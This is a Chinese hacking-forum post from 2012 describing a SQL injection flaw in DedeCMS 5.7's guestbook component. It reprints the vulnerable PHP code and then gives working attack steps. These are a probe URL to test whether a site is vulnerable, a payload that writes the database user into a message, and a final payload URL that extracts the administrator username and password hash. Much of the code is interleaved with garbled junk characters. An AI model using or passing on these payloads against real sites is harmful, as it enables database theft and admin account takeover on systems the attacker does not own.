找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3823|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
4 K/ z8 n7 K# m$ c8 O7 j7 \. |
漏洞文件edit.inc.php具体代码:& X4 t. {( a0 m% P
" @" E2 ?% d" o  m' v# M0 m
< ?php  
/ g1 @- N- W- r  k9 {& G' J( _. X; @+ t) l( V1 i9 d) t
if(!defined('DEDEINC')) exit('Request Error!');  ) h- U7 E. W) T: S$ [: g
3 r* _7 F- |: w: h- w9 E* s
   % E% M/ k' q0 k/ b
* |0 y1 U; \5 R4 A3 S+ Y+ n
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  - @% b9 \. h1 U' w8 ?+ o7 i1 j

- @& g) V: R; A# B$ Eelse $GUEST_BOOK_POS = "guestbook.php";  
( P0 s4 f% B% N5 h: s! M
) S7 {7 f* t; X7 ]  l% E4 W1 t   
2 l/ e7 S6 D& k( D$ j% ]$ \- o! Z7 _; R2 ^% m0 L$ K
$id = intval($id);  
9 v: d1 T, q6 h- A' J1 B' I. F8 J# g0 o
if(empty($job)) $job='view';    e4 i5 n4 e) ?* q$ z) g
4 d4 O: f; h% o4 q( t! c% ~# R
   7 M8 i5 A) s. z" O
" Y5 N8 E" s! A$ r( Q
if($job=='del' && $g_isadmin)  
! B* p! v) E; p  ?. J0 m9 p; Q6 h" H; T
{  # j; o! u: ]9 t: c* [  H

+ [0 W$ x: e; w- W. r6 c$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  5 V8 Q* _$ w: R4 J0 C+ v. i! X

, @. e" ]# n$ P2 j( O) ]8 NShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  5 H) g; D& t* }+ X

0 Y3 G  w- r$ c; M' w7 b9 a$ Cexit();  3 _  K7 q( Z. }9 ~3 ?

% V: H8 R5 T' p; m7 I, R, A9 o}  
2 Z* v: e( j8 X* N8 ^0 \8 i( E7 Y6 w1 E9 d/ W; ~
else if($job=='check' && $g_isadmin)  
+ ?# m3 I( O; H* }+ v
( \3 @: W$ I7 w" d6 Y* x! p{  9 ]- m; V# y+ _

1 M8 S2 P& b# f3 r) c5 z# n( |8 }5 W$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  ( Q+ D- e+ [: u' N; p. b, \9 e
1 O3 \6 [  F6 [3 G1 H: z
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
# a0 @; M9 k& O% @8 I3 ^% g
" t4 N& R* {* j( q1 S" u6 Kexit();  5 _3 ?* `) u7 |

* A! t! M. k% V}  " x; e: }2 r8 g2 u6 T

+ V4 f( ?  T! g9 M/ V4 D  xelse if($job=='editok')  
( y* I2 n* o  Q! X  i9 _- g
5 \' K  h- D# v+ G) m; b/ Z9 E' l{  
0 i( b6 ]& C2 P+ T4 [
; X" H5 Y+ I/ S2 v$ x7 R4 ~: U/ C$remsg = trim($remsg);  4 v4 A# z, r$ X' V8 m4 s

+ F; K/ p$ u# B6 c7 c& k3 X6 bif($remsg!='')  
5 u- P, I' y$ T8 r6 Q9 A
9 K& I5 L  s5 f) v& h{  
3 Y7 J- q* y% Y) _/ {, Y$ z6 E8 v* p, L+ }; B* N- @
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
& B* ?( Z) E; P+ q6 o6 ~$ `$ X7 B2 j( G5 E& R$ |! U
if($g_isadmin)  
0 i/ a6 o4 ]$ E
' Q, X9 r* X0 q/ Y  g{  
3 P; f; B6 V1 X  h) ]8 J" F1 M' w6 R2 X8 X. H& k
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  & m* L# c& K) g- h, w$ a$ D

8 w, `( f% C( p* J: G, ~' H5 L//$remsg <br /><font color=red>管理员回复:</font> }  
9 F8 [, u) w5 d$ w
9 N+ d7 R1 c/ `" D1 E; ]else , }9 f! T3 A/ g
- b' b  K* }/ e( C
{  , Z/ u; ^: S- ~) R( ]. o2 y- R
: x5 t. t  \4 F( H0 Y
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
6 s) c4 z4 b0 p' e  ^& x8 s7 v. x4 n7 ]8 ]+ f: j# X
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  # D: Z$ F2 F4 k, f
* ?9 A. p4 l: k& M& L6 H  ?
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
1 W. S9 I7 A/ [' X
& k9 S( m3 `7 w* I& a. f$msg = $oldmsg.$remsg;  ' B9 p2 a  y3 Z, [; d7 K! E+ Y
. [, d* }; _. ]- Z3 ?5 \. @
}  
; ?3 M2 L+ @3 t$ D3 K9 R) b7 o* K5 e+ S$ U6 Y
}  9 ?3 p6 L7 p% I, S* \8 `- e8 d/ Q

5 A* j) _* v8 c) h' ?//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  1 v. j0 V3 a$ r" Z8 @0 |3 C# J
) u% B. t! Q8 k( w) b/ J, G# J
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
$ U/ I/ I$ L$ d: B# Q$ l$ r* B- c: s+ f) ^
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
: J& c- D& \7 z! c- H
4 Q- Y9 ]2 Q% {1 Xexit();  
1 {. n( w9 f! x0 J  m; b
* _* \/ a* J! `. c3 L$ v1 @6 b}  8 z% I4 W, t1 ]3 {
( ?; ]! g5 ^+ c* E% X
//home:www.errs.cc  
, Z9 v* d4 f: Z# [. e
& g7 F& I& A+ G" i, Dif($g_isadmin)  + f$ k: \' T" G; F  S( E% ?

3 W* X+ _5 O$ i  f$ a{  8 L3 _1 D" E( s; B& @

" `3 d; K) g- t& e$ E& H$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  7 s' l+ _) ?1 d! w% p* c: z, e

3 b5 E% b1 }+ f# j6 ]require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  ' ?4 _! M7 G3 ^/ s6 U

! p! J. f0 ?  V9 n( O}  
4 ~3 x/ A$ z- ^( [7 U- q, ^/ v# [' h% O0 G3 m
else # j) \" _8 O4 a2 f" \
# e( _' {, j( G  ^' k" U
{  . k* G. n' l4 T3 H
) t6 {: i& n; H/ W
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  1 G9 B6 T+ W2 c

0 j( N4 X0 v+ B, k5 |) R! r3 k0 y0 }require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  8 X* i+ H5 V2 n, x; u
, J  j2 M/ J: K) H- n
} 漏洞成功需要条件:
- e: q7 e' J( p% N. Q1 `1. php magic_quotes_gpc=off' Y) g8 g- u' o/ Z; m7 a8 t+ p2 p
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
7 N, s' Q- C3 S, T. o
3 V& b& t% R" M4 N8 y+ z( r怎么判断是否存在漏洞:
: P/ W( K* k( y* J先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,9 R" `6 Q4 z; r9 X, u- Q5 J3 p6 U
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
% ~' F, H% u$ H访问:
/ \7 R# L# a1 X2 ^% @! S. p1 K
" m5 p! H9 s! u8 V; W+ A5 Wwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
' F- Y# K" l) S: y" y跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证7 I4 q5 L9 n. f' c" T

" j. D; g2 h4 _6 M1 p7 y' j% |" j1 ^( P6 l" }2 [# C+ E8 p
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off1 q1 O+ ^. Z$ O% {) M, |
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。' d+ x: P% v1 V8 l$ ^
那么再次访问2 z4 L( |1 j" V/ o
4 l2 Y, U: Y. S% ?6 u1 ~
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().: M1 Q4 p% L9 G# T# @
# c  g' N2 {+ {+ f2 U9 g
大概利用就是这样,大家有兴趣的多研究下!!
* `) g# i, [* f/ e; [0 K7 o+ C4 j/ N& s6 x
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!  f" k5 w% ^- q( j$ D( S: v5 r
2 J$ Z- S  s, D* g5 N
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表